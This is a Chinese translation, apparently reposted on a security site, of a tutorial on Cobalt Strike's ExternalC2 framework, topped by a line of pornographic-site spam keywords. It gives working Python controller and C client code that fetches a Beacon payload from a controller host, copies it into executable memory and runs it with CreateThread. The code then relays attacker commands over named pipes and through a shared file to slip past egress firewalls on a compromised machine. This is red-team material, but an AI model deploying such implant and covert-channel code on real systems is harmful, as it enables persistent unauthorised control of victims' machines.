压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

深入探索Cobalt Strike的ExternalC2框架

正如許多實戰經驗豐富的滲透測試人員所了解的那樣,有時實現C2通信是一件讓人非常頭痛的事情。無論是從防火墻的出口連接限制還是進程限制的角度來說,反向shell和反向HTTP C2通道的好日子已經不多了。

好吧,也許我這么說確實夸張了些,但有一點是肯定的,它們的日子會越來越難過。所以,我想未雨綢繆,提前準備好實現C2通信的替代方法,幸運的是,我無意中發現了Cobalt Strike的ExternalC2框架。

ExternalC2

ExternalC2是由Cobalt Strike提出的一套規范/框架,它允許黑客根據需要對框架提供的默認HTTP(S)/DNS/SMB C2 通信通道進行擴展。完整的規范說明可以從這里下載。

換句話說,該框架允許用戶開發自己的組件,如:

  1. 第三方控制器——負責創建與Cobalt Strike TeamServer的連接,并使用自定義C2通道與目標主機上的第三方客戶端進行通信。
  2. 第三方客戶端——負責使用自定義的C2通道與第三方控制器進行通信,并將命令中轉到SMB Beacon。
  3. SMB Beacon——在受害者機器上運行的標準Beacon。

下面的示意圖引用自CS文檔,它為我們展示了三者之間的關系:

我們可以看到,自定義的C2通道實現了第三方控制器和第三方客戶端之間信息傳輸,而且,第三方控制器和第三方客戶端則可以由我們自己來進行開發和控制。

不過,在繼續閱讀下文之前,需要先來了解一下如何與Team Server ExternalC2界面進行通信。

首先,我們需要讓Cobalt Strike啟動ExternalC2。為此,可以使用一個腳本來完成,只需讓它調用externalc2_start函數并綁定一個端口即可。ExternalC2服務一旦啟動并運行,我們就可以使用自定義的協議來進行通信了。

實際上,該協議非常簡單,只涉及一個4字節的、低位優先的長度字段和一個20字節的數據塊,具體如下所示:

為了啟動通信,我們的第三方控制器需要打開一個面向TeamServer的連接,并發送相應的選項:

? arch——要使用的Beacon的體系架構(x86或x64)。
? pipename——與Beacon進行通信的管道的名稱。
? block——在不同任務之間進行切換時,TeamServer的阻塞時間(以毫秒為單位)。

發送這些選項后,第三方控制器就會發送一個go命令。這樣,就會啟動ExternalC2通信,并進入Beacon的生成和發送過程。然后,第三方控制器會把這個SMB Beacon的有效載荷轉發給第三方客戶端,并由它來生成相應的SMB Beacon。

在受害者主機上生成SMB Beacon后,接下來就要建立一個連接來傳遞命令。實際上,命令的傳輸是通過命名管道來完成的,并且第三方客戶端和SMB Beacon之間使用的協議與第三方客戶端和第三方控制器之間的協議完全相同:一個4字節的、低位優先的長度字段和一個數據字段。

好了,理論方面的知識已經講的夠多了,讓我們創建一個“Hello World”示例來展示如何通過網絡來中轉通信。

ExternalC2的Hello World示例

在這個例子中,將在服務器端使用Python編寫第三方控制器,而在客戶端使用C編寫第三方客戶端。

首先,我們需要通過攻擊腳本讓Cobalt Strike啟用ExternalC2:

# start the External C2 server and bind to 0.0.0.0:2222
externalc2_start("0.0.0.0", 2222);

這會在0.0.0.0:2222上打開ExternalC2。

現在,ExternalC2已經啟動并運行了,接下來就可以創建第三方控制器了。

首先,建立與TeamServer ExternalC2接口的連接:

_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketTS.connect(("127.0.0.1", 2222))

建立連接后,還需要發送相應的選項。我們接下來將創建一些快速幫助函數,這樣就可以把4字節長度作為前綴,而無需每次都手工指定了:

def encodeFrame(data):
    return struct.pack("<I", len(data)) + data

def sendToTS(data):
    _socketTS.sendall(encodeFrame(data))

如此一來,就可以使用這些幫助函數來發送我們的選項了:

# Send out config options
    sendToTS("arch=x86")
    sendToTS(“pipename=xpntest")
    sendToTS("block=500")
    sendToTS("go")

這樣的話,Cobalt Strike就會知道我們需要一個x86體系結構的SMB Beacon,同時還需要接收數據。接下來,讓我們再創建一些幫助函數來處理數據包的解碼,這樣就不用每次都得手動解碼了:

def decodeFrame(data):
    len = struct.unpack("<I", data[0:3])
    body = data[4:]
    return (len, body)

def recvFromTS():
    data = ""
    _len =  _socketTS.recv(4)
    l = struct.unpack("<I",_len)[0]
    while len(data) < l:
        data += _socketTS.recv(l - len(data))
    return data

這樣,我們就能夠接收原始數據了:

data = recvFromTS()

接下來,我們需要讓第三方客戶端使用指定的C2協議來連接我們。就目前而言,我們的C2通道協議僅使用4字節長度的數據包格式就行了。首先,我們需要用套接來連接第三方客戶端:

_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    _socketBeacon.bind(("0.0.0.0", 8081))
    _socketBeacon.listen(1)
    _socketClient = _socketBeacon.accept()[0]

然后,一旦收到連接,我們就進入接收/發送循環,從受害者主機那里接收數據,然后其轉發給Cobalt Strike,Cobalt Strike接收數據后,再將其轉發給受害者主機:

while(True):
        print "Sending %d bytes to beacon" % len(data)
        sendToBeacon(data)

        data = recvFromBeacon()
        print "Received %d bytes from beacon" % len(data)

        print "Sending %d bytes to TS" % len(data)
        sendToTS(data)

        data = recvFromTS()
        print "Received %d bytes from TS" % len(data)

完整的示例代碼可以從這里下載。

現在,我們已經建好了一個控制器,接下來,還需要創建一個第三方客戶端。為簡單起見,這里將使用win32和C來訪問Windows本機API。現在,讓我們從幾個輔助函數開始。首先,我們需要連接到第三方控制器。就本例來說,我們會直接使用WinSock2來建立到控制器的TCP連接:

// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
    WSADATA wsd;
    SOCKET sd;
    SOCKADDR_IN sin;
    WSAStartup(0x0202, &wsd);

    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.S_un.S_addr = inet_addr(addr);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    connect(sd, (SOCKADDR*)&sin, sizeof(sin));

    return sd;
}

接下來,我們需要設法接收數據。這里使用的方法,與前面的Python代碼中看到的類似——使用長度前綴來表示要接收多少字節的數據:

// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
    char *buffer;
    DWORD bytesReceived = 0, totalLen = 0;

    *len = 0;

    recv(sd, (char *)len, 4, 0);
    buffer = (char *)malloc(*len);

    if (buffer == NULL)
        return NULL;

    while (totalLen < *len) {
            bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
            totalLen += bytesReceived;
    }
    return buffer;
}

類似的,我們還需要設法通過C2通道將數據返回給Controller:

// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
    char *buffer = (char *)malloc(len + 4);
    if (buffer == NULL):
        return;

    DWORD bytesWritten = 0, totalLen = 0;

    *(DWORD *)buffer = len;
    memcpy(buffer + 4, data, len);

    while (totalLen < len + 4) {
            bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
            totalLen += bytesWritten;
    }
    free(buffer);
}

好了,既然已經能夠與控制器進行通信了,接下來就可以接收Beacon有效載荷了。在本例中,我們使用的是一個x86或x64有效載荷(取決于第三方控制器傳遞給Cobalt Strike的選項),首先將其復制到內存中,然后執行。下面,讓我們來“召喚”這個Beacon有效載荷:

// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);

出于演示的目的,我們將使用Win32 VirtualAlloc函數來分配一段可執行的內存,并使用CreateThread來執行代碼:

HANDLE threadHandle;
DWORD threadId = 0;

char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
    return;

memcpy(alloc, payload, len);

threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);

一旦SMB Beacon啟動并運行,我們需要將其連接至相應的命名管道。為此,我們可重復嘗試連接\.\pipe\xpntest管道(別忘了,這個管道名稱是之前以選項的形式進行傳遞的,同時供SMB Beacon用于接收命令):

// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
        // Create our IPC pipe for talking to the C2 beacon
        Sleep(500);
        beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

接下來,一旦建立連接,就會繼續我們的發送/接收循環:

while (true) {
    // Start the pipe dance
    payloadData = recvFromBeacon(beaconPipe, &payloadLen);
    if (payloadLen == 0) break;

    sendData(c2socket, payloadData, payloadLen);
    free(payloadData);

    payloadData = recvData(c2socket, &payloadLen);
    if (payloadLen == 0) break;

    sendToBeacon(beaconPipe, payloadData, payloadLen);
    free(payloadData);
}

到目前為止,我們已經介紹了創建ExternalC2服務的基礎知識。至于完整的第三方客戶端代碼,可以從這里下載。

現在,我們將介紹一些更有趣知識。

通過文件傳輸C2

首先,讓我們回顧一下,當我們創建自定義C2協議時,能夠控制哪些東西:

我們可以看到,第三方控制器和第三方客戶端之間的數據傳輸是我們最感興趣的地方。接下來,我們要對前面的“Hello World”示例代碼稍作修改,使其可以完成更加有趣的事情:通過文件讀/寫的方式來傳輸數據。

那么,我們為什么要這樣做呢?好吧,假設我們位于Windows域中,雖然攻破了一臺機器,但是防火墻對其出站訪問做了嚴格的限制。辛運的是,防火墻還允許它訪問共享文件……這就意味著,如果一臺機器可以訪問我們的C2服務器,那么,我們就可以通過這臺機器把來自C2服務器的數據寫入共享文件中,然后讓受防火墻嚴格限制的那臺機器從共享文件中讀取相應的數據 ,這樣,我們就可以控制Cobalt Strike的Beacon了。

為了加深理解,可以看看下面的示意圖:

在這里,我們引入了一個額外的元素,其實就是一個可以將數據傳入和傳出文件,并與第三方控制器進行通信的隧道。

就本例而言,第三方控制器和“聯網主機”之間的通信,仍沿用前面的4字節長度前綴協議,也就是說,現有的Python第三方控制器無需進行任何修改。

但是,這里需要把前面的第三方客戶端一分為二。其中,一個客戶端在“聯網主機”上運行,負責從第三方控制器接收數據并將其寫入文件,另一個客戶端在“受限主機”上運行,負責從文件中讀取數據,生成SMB Beacon,并將數據傳遞給該Beacon。

對于之前就介紹過的元素,這里就不多說了;所以,下面開始介紹文件傳輸的實現方式。

首先,創建待傳輸的文件。為此,可以使用CreateFileA,需要注意的是,必須確保設置FILE_SHARE_READ和FILE_SHARE_WRITE選項。只有這樣設置,第三方客戶端的兩端才可以同時讀取和寫入文件:

HANDLE openC2FileServer(const char *filepath) {
    HANDLE handle;

    handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (handle == INVALID_HANDLE_VALUE)
        printf("Error opening file: %x\n", GetLastError());
    return handle;
}

接下來,我們需要設法將C2數據以序列化方式寫入共享文件中,并指出哪些客戶端可以隨時處理這些數據。

為此,可以借助于一個簡單的標頭,如:

struct file_c2_header {
    DWORD id;
    DWORD len;
};

我們的想法是,直接對id字段進行輪詢,從而為每個可以讀寫數據的第三方客戶端提供相應的信號。

好了,現在把我們的文件讀寫函數組合起來,具體如下所示:

void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {
  char *fileBytes = NULL;
  DWORD bytesWritten = 0;

  fileBytes = (char *)malloc(8 + len);
  if (fileBytes == NULL)
      return;

  // Add our file header
  *(DWORD *)fileBytes = id;
  *(DWORD *)(fileBytes+4) = len;

  memcpy(fileBytes + 8, data, len);

  // Make sure we are at the beginning of the file
  SetFilePointer(c2File, 0, 0, FILE_BEGIN);

  // Write our C2 data in
  WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL);

  printf("[*] Wrote %d bytes\n", bytesWritten);
}

char *readC2File(HANDLE c2File, DWORD *len, int expect) {
  char header[8];
  DWORD bytesRead = 0;
  char *fileBytes = NULL;

  memset(header, 0xFF, sizeof(header));

  // Poll until we have our expected id in the header
  while (*(DWORD *)header != expect) {
    SetFilePointer(c2File, 0, 0, FILE_BEGIN);
    ReadFile(c2File, header, 8, &bytesRead, NULL);
    Sleep(100);
  }

  // Read out the expected length from the header
  *len = *(DWORD *)(header + 4);
  fileBytes = (char *)malloc(*len);
  if (fileBytes == NULL)
      return NULL;

  // Finally, read out our C2 data
  ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);
  printf("[*] Read %d bytes\n", bytesRead);
  return fileBytes;
}

上面的代碼的作用,是將標頭添加到文件中,并將C2數據寫入文件和從文件中讀取C2數據。

到目前為止,基本上可以說是萬事俱備了,剩下的事情就是實現接收/寫入/讀取/發送循環,以及C2命令的跨文件傳輸了。

上面第三方控制器的完整代碼可以從這里下載。同時,讀者還可以觀看下面的演示視頻:https://youtu.be/ckm7AHkYnVU。

如果讀者希望了解關于ExternalC2的更多信息,可以訪問Cobalt Strike ExternalC2的幫助頁面,地址https://www.cobaltstrike.com/help-externalc2,這里可以找到更加豐富的學習資料。

原文:https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/

上一篇:Exim Off-by-one(CVE-2018-6789)漏洞復現分析

下一篇:Deep Exploit:使用機器學習的全自動滲透測試工具